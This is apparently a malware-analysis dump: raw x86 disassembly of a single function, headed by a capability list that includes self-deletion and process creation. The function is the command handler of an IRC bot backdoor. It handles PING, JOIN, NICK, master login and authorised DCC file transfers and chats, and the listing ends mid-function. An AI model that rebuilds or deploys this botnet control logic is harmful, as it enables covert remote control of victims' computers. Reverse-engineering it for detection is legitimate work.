Function at 0x417182
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create process on windows
Create thread
Delete file
Get common file path
Move file
Self delete
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x14dc
call fcn.00436ca0
sub esp, eax
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x934], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x938], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x1b
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
cmp dword [ebp + 8], 0
jne 0x41720f
mov eax, 1
jmp 0x423223
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x2ec]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x1ff
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2ec]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 4], 0x44216a
lea eax, [ebp - 0x2ec]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x34], eax
mov dword [esp + 8], 0x1ff
lea eax, [ebp - 0x2ec]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4ec]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 4], 0x44216d
lea eax, [ebp - 0x4ec]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x77c], eax
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1f
jg 0x4172d2
mov dword [esp + 4], 0x44216d
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x77c], edx
add dword [ebp - 0x1c], 1
jmp 0x4172a6
mov eax, dword [ebp - 0x77c]
test eax, eax
je 0x4172e6
mov eax, dword [ebp - 0x778]
test eax, eax
jne 0x4172f0
mov eax, 1
jmp 0x423223
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x930]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x1c], 0x1f
cmp dword [ebp - 0x1c], 0
js 0x4173b4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x4173aa
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
movzx eax, byte [eax]
cmp al, 0x2d
jne 0x4173b4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
add eax, 2
movzx eax, byte [eax]
test al, al
jne 0x4173b4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
add eax, 1
movzx eax, byte [eax]
movsx eax, al
mov byte [ebp + eax - 0x930], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
mov byte [eax], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
add eax, 1
mov byte [eax], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x77c]
add eax, 2
mov byte [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x77c], 0
jmp 0x4173ab
nop
sub dword [ebp - 0x1c], 1
jmp 0x417315
movzx eax, byte [ebp - 0x8bd]
test al, al
je 0x4173c9
mov dword [ebp - 0x938], 1
movzx eax, byte [ebp - 0x8c2]
test al, al
je 0x4173e5
mov dword [ebp - 0x938], 0
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x77c]
movzx eax, byte [eax]
cmp al, 0xa
je 0x41744b
mov eax, dword [ebp - 0x77c]
mov dword [esp + 8], 0x7f
mov dword [esp + 4], eax
lea eax, [ebp - 0x7fc]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [esp + 8], 0x17
mov dword [esp + 4], eax
lea eax, [ebp - 0x830]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 4], 0x44216f
lea eax, [ebp - 0x830]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov eax, dword [ebp - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442171
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4174c2
mov eax, dword [ebp - 0x77c]
add eax, 1
mov byte [eax], 0x4f
mov eax, dword [ebp - 0x778]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PONG__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, dword [ebp + 0x28]
mov eax, dword [eax]
test eax, eax
jne 0x4174b8
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.JOIN__s__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x44218d
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4174f6
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x442191
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417567
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.USERHOST__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov dword [esp + 0xc], str._xB
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MODE__s__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.JOIN__s__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov dword [0x473be0], 1
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x4421b0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4175c7
mov eax, dword [ebp - 0x770]
mov dword [esp + 4], 0x40
mov dword [esp], eax
call sub.msvcrt.dll_strchr
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x4175bd
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [esp + 8], 0x9f
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x4421b4
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41762b
mov edx, dword [0x43cec8]
mov eax, dword [0x43cec4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
call fcn.004250d4
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NICK__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x417668
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add edx, eax
lea eax, [ebp - 0x7fc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417662
mov dword [ebp - 0x28], 1
add dword [ebp - 0x1c], 1
jmp 0x417632
cmp dword [ebp - 0x28], 0
je 0x417684
mov dword [esp + 4], 1
mov dword [esp], str.ismaster
call fcn.0040314b
jmp 0x417698
mov dword [esp + 4], 1
mov dword [esp], str.NOT_ismaster
call fcn.0040314b
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.KICK
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4177f4
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x4177a7
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x41779d
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov dword [esp + 8], 0x7f
mov dword [esp + 4], eax
lea eax, [ebp - 0x7fc]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
lea eax, [ebp - 0x830]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x41779e
mov eax, dword [ebp - 0x770]
test eax, eax
je 0x41779e
mov eax, dword [ebp - 0x770]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41779e
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x58]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_User__s_logged_out.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:_s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
jmp 0x41779e
nop
add dword [ebp - 0x1c], 1
jmp 0x4176bd
mov eax, dword [ebp - 0x770]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4177ea
mov eax, dword [ebp + 0x28]
mov dword [eax], 0
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.JOIN__s__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.NICK
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417a23
lea eax, [ebp - 0x830]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x774]
add eax, 1
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x4178d1
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add edx, eax
lea eax, [ebp - 0x7fc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4178c8
mov dword [esp + 4], 0x21
lea eax, [ebp - 0x7fc]
mov dword [esp], eax
call sub.msvcrt.dll_strchr
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x4178c8
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov byte [eax], 0x3a
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
lea edx, [eax + 1]
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
lea edx, [eax + 2]
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcat
add dword [ebp - 0x1c], 1
jmp 0x41782e
cmp dword [ebp - 0x5c], 0
je 0x417a19
cmp dword [ebp - 0x60], 0
je 0x417a19
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41791f
mov dword [esp + 8], 0xf
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, 1
jmp 0x423223
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x417a19
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x417a10
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add edx, eax
lea eax, [ebp - 0x7fc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417a10
mov dword [esp + 4], 0x21
lea eax, [ebp - 0x7fc]
mov dword [esp], eax
call sub.msvcrt.dll_strchr
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x4179ad
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, ebx
cmp eax, 0x7e
jbe 0x4179b7
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add edx, eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov dword [esp + 4], str.:_s_s
mov dword [esp], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
jmp 0x417a19
add dword [ebp - 0x1c], 1
jmp 0x417926
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.PART
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x417a5b
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.QUIT
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417b40
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x417b40
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x417b37
mov eax, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x1c]
mov ecx, edx
shl ecx, 7
mov edx, dword [ebp + 0x20]
add edx, ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417b37
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_User:__s_logged_out.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.PART
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417b2d
mov eax, dword [ebp - 0x77c]
lea edx, [eax + 1]
lea eax, [ebp - 0x6ec]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.NOTICE__s_:_s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
add dword [ebp - 0x1c], 1
jmp 0x417a62
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x44223b
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417b9c
mov eax, dword [ebp - 0x76c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417b7c
mov eax, dword [ebp + 0x28]
mov dword [eax], 1
mov eax, dword [ebp - 0x76c]
mov dword [esp + 4], eax
mov dword [esp], 0x44223f
call fcn.00402c86
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.PRIVMSG
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x417bfb
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.NOTICE
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x417bfb
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x44226a
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x423220
mov eax, dword [0x43ceb8]
test eax, eax
je 0x423220
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.PRIVMSG
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x417c33
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.NOTICE
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417e10
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], str.NOTICE
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417c54
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x774]
test eax, eax
jne 0x417c68
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x774]
mov dword [esp + 4], 0x23
mov dword [esp], eax
call sub.msvcrt.dll_strchr
test eax, eax
je 0x417c88
cmp dword [ebp - 0x2c], 0
je 0x417c94
lea eax, [ebp - 0x830]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x770]
test eax, eax
jne 0x417ca8
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x770]
add eax, 1
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x770]
test eax, eax
je 0x417d07
cmp dword [ebp + 0x18], 0
je 0x417d07
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0x770]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x417d00
mov dword [ebp - 0x24], 4
jmp 0x417d07
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
jne 0x417d1f
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.VERSION
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417d9c
mov eax, dword [ebp - 0x774]
movzx eax, byte [eax]
cmp al, 0x23
je 0x417e34
mov eax, dword [0x473be8]
mov eax, dword [eax*4 + 0x43cf8c]
movzx eax, byte [eax]
test al, al
je 0x417e34
mov eax, dword [0x473be8]
mov edx, dword [eax*4 + 0x43cf8c]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x442276
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442171
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x417e34
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x417e34
mov eax, dword [ebp - 0x774]
movzx eax, byte [eax]
cmp al, 0x23
je 0x417e34
mov eax, dword [ebp - 0x24]
add eax, 1
mov edx, dword [ebp + eax*4 - 0x77c]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 1
jmp 0x423223
mov dword [ebp - 0x24], 4
mov eax, dword [ebp - 0x76c]
add eax, 1
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x774], eax
jmp 0x417e35
nop
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4422a7
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41827d
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.SEND
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41806f
cmp dword [ebp - 0x28], 0
je 0x418026
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 0x1c
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 0x24]
add eax, 3
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 8
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 0x24]
add eax, 4
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov dword [esp + 8], 0x7f
lea eax, [ebp - 0x830]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 0x120
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xbf0], eax
lea eax, [ebp - 0xd9c]
add eax, 0x120
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xd9c]
add eax, 0x1c
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Receive_file:__s_from_user:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 0x11
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xbf8], eax
mov ebx, dword [ebp - 0xbf8]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x406663
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x418003
mov eax, dword [ebp - 0xbec]
test eax, eax
jne 0x418057
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x417fe6
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Failed_to_start_transfer_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418057
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
lea edx, [ebp - 0x830]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Receive_file:__s_failed_from_unauthorized_user:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.CHAT
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4182b1
cmp dword [ebp - 0x28], 0
je 0x418245
mov dword [esp], 0x12
call fcn.0042ad8a
test eax, eax
sete al
test al, al
je 0x418223
mov eax, dword [ebp - 0x24]
add eax, 3
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 8
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 0x24]
add eax, 4
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov dword [esp + 8], 0x7f
lea eax, [ebp - 0x830]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 0x120
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xbf0], eax
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Chat_from_user:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xbf8], eax
mov ebx, dword [ebp - 0xbf8]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x405ad0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x418200
mov eax, dword [ebp - 0xbec]
test eax, eax
jne 0x418265
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4181e3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Failed_to_start_chat_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418265
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Chat_already_active_with_user:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418265
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._DCC_:_Chat_failed_by_unauthorized_user:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
lea ecx, [eax + 1]
mov edx, dword [ebp - 0x24]
mov dword [ebp + edx*4 - 0x77c], ecx
movzx edx, byte [eax]
movzx eax, byte [0x43cebc]
cmp dl, al
setne al
test al, al
je 0x4182b1
mov eax, 1
jmp 0x423223
mov dword [esp + 4], 1
mov dword [esp], str.here___
call fcn.0040314b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.login
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418305
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442409
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418602
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41831c
cmp dword [ebp - 0x28], 0
je 0x418326
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x77c]
mov dword [esp + 4], 0x44216f
mov dword [esp], eax
call sub.msvcrt.dll_strtok
add eax, 1
mov dword [ebp - 0xe8], eax
mov dword [esp + 4], 0x44240b
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xec], eax
mov dword [esp + 4], 0x44240d
mov eax, dword [ebp - 0xec]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x43cf14
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418430
mov eax, dword [ebp - 0xec]
mov dword [esp + 0x10], eax
